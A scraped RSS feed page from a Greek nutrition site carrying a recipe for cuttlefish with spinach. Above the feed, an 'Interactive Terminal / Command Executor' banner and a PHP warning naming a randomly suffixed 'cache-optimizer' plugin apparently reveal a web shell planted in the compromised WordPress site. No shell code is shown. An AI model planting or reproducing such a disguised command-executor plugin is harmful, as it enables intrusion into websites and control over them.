AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor


Warning: Cannot modify header information - headers already sent by (output started at /home/valia/public_html/wp-content/plugins/cache-optimizer-6fbc/cache-optimizer-6fbc.php:27) in /home/valia/public_html/wp-includes/feed-rss2.php on line 8
σουπιές – Nutricenter https://valiagrigoriou.com Valia Grigoriou Fri, 03 Mar 2023 09:14:32 +0000 el hourly 1 https://wordpress.org/?v=6.9.4 https://valiagrigoriou.com/wp-content/uploads/2021/08/cropped-Untitled-1-100x100.png σουπιές – Nutricenter https://valiagrigoriou.com 32 32 Συνταγή: Σουπιές με σπανάκι  https://valiagrigoriou.com/%cf%83%cf%85%ce%bd%cf%84%ce%b1%ce%b3%ce%ae-%cf%83%ce%bf%cf%85%cf%80%ce%b9%ce%ad%cf%82-%ce%bc%ce%b5-%cf%83%cf%80%ce%b1%ce%bd%ce%ac%ce%ba%ce%b9/ Fri, 03 Mar 2023 09:14:26 +0000 https://valiagrigoriou.com/?p=8487

Για 4 μερίδες:

-1 κιλό σουπιές, καθαρισµένες και κομμένες σε μεγάλα κομμάτια

-1 µεγάλο ξερό κρεµµύδι, ψιλοκομμένο

-8 φρέσκα κρεµµυδάκια, λεπτοκομμένα

-2 σκελίδες σκόρδου, λιωμένες

-1 κ. σ. ντοματοπολτός

-1 κιλό σπανάκι

-1 µάτσο άνηθος, ψιλοκομμένος

-½ φλ ελαιόλαδο

-αλάτι

-πιπέρι 

Εκτέλεση:

-Βάζουµε τις σουπιές σε µια κατσαρόλα, προσθέτουµε 800 ml νερό και τις βράζουµε σε µέτρια φωτιά, για περίπου 30 λεπτά, µέχρι να µαλακώσουν. Τις στραγγίζουμε και κρατάµε 1 φλιτζάνι ζωμού, στην άκρη.

-Σε µια µεγάλη κατσαρόλα ζεσταίνουμε το ελαιόλαδο και σοτάρουμε το κρεµµύδι και τα φρέσκα κρεµµυδάκια για περίπου 3 λεπτά, µέχρι να ροδίσουν.

-Προσθέτουµε το σκόρδο και τον πελτέ και ανακατεύουμε για 1 λεπτό.  

-Ρίχνουμε το σπανάκι και συνεχίζουμε το σοτάρισμα, ανακατεύοντας για 3 – 4 λεπτά, μέχρι να μειωθεί ο όγκος του. 

-Σκεπάζουμε με το καπάκι και μαγειρεύουµε για 4 – 5 λεπτά, µέχρι να µαλακώσει το σπανάκι.

-Προσθέτουμε το αλάτι, το πιπέρι και τον ζωμό που κρατήσαμε στην άκρη και ανακατεύουμε απαλά.

-Ξεσκεπάζουμε την κατσαρόλα, ρίχνουμε τις σουπιές και τον άνηθο, ανακατεύουμε απαλά και μαγειρεύουμε για άλλα 2 – 3 λεπτά, μέχρι να εξατμιστούν τα περισσότερα υγρά.

]]>